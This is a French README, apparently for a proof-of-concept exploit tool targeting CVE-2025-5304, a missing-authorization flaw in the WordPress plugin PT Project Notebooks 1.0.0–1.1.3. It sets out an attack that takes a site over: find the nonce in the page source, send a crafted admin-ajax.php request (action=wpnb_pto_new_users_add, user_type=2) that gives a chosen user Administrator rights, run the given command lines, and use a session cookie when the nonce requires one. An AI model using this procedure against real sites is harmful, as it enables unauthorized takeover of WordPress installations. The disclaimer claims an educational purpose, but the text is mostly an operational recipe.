
PT Project Notebooks 1.0.0 - 1.1.3 - Absence d'autorisation conduisant à une élévation de privilèges non authentifiée
PT Project Notebooks 1.0.0 - 1.1.3 - Absence d'autorisation menant à une élévation de privilèges non authentifiée
PoC et outil d'exploitation pour PT Project Notebooks versions 1.0.0–1.1.3 : l'absence d'autorisation dans
wpnb_pto_new_users_add()permet à des attaquants non authentifiés d'élever les privilèges d'un utilisateur choisi au rang d'Administrateur viaadmin-ajax.php.
L'extension PT Project Notebooks pour WordPress est vulnérable à une élévation de privilèges en raison de l'absence d'autorisation dans la fonction wpnb_pto_new_users_add() dans les versions 1.0.0 à 1.1.3. Cela permet à des attaquants non authentifiés d'élever les privilèges à ceux d'un Administrateur pour un ID utilisateur spécifié.
wp-content/plugins/project-notebooks/readme.txt et extrait la balise Stable (Stable tag) pour confirmer que la cible est ≤ 1.1.3.custom.nonce et custom.ajax_url injectés par l'extension dans la page (via wp_localize_script).admin-ajax.php avec action=wpnb_pto_new_users_add, le nonce découvert, ids=<UserID> et user_type=2 pour copier toutes les capacités d'Administrateur sur l'utilisateur cible.wordpress_logged_in_* correspondant pour que wp_verify_nonce() réussisse.python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28
python3 CVE-2025-5304.py -u "http://TARGET/wordpress" -id 28 -c "wordpress_logged_in_...=..."
CVE-2025-5304.py -help
usage: t.py [-h] -u URL -id ID [-c COOKIE] [--skip-version]
CVE-2025-5304 (Nxploited Edition)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL (e.g. http://127.0.0.1/wordpress)
-id, --id ID User ID to escalate (e.g. 28)
-c, --cookie COOKIE Optional Cookie header value for session-bound nonces
--skip-version Skip readme.txt version check
-u / --url — URL de base du site ; l'outil la normalise et lit le readme de l'extension ainsi que la page d'accueil.-id / --id — ID utilisateur WordPress numérique à élever (un abonné suffit).-c / --cookie — Valeur complète de l'en-tête Cookie (ex. : wordpress_logged_in_*=...) requise si le nonce est lié à la session.--skip-version — Ignore la vérification de la balise Stable de readme.txt (utile lorsque le readme est masqué ou personnalisé).Remarques sur le nonce et le cookie
custom.nonce est visible dans une fenêtre privée/incognito, il est public — aucun cookie n'est nécessaire.wordpress_logged_in_* avec -c.custom.ajax_url (schéma/hôte/port/chemin) affiché dans le code source de la page.Ce dépôt, ce PoC et ce code sont fournis à des fins éducatives et de tests de sécurité autorisés uniquement. Vous êtes seul responsable de vous assurer que vous disposez d'une autorisation explicite pour tester les cibles. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages découlant de l'utilisation de ce projet.
Par : Khaled Alenazi (Nxploited)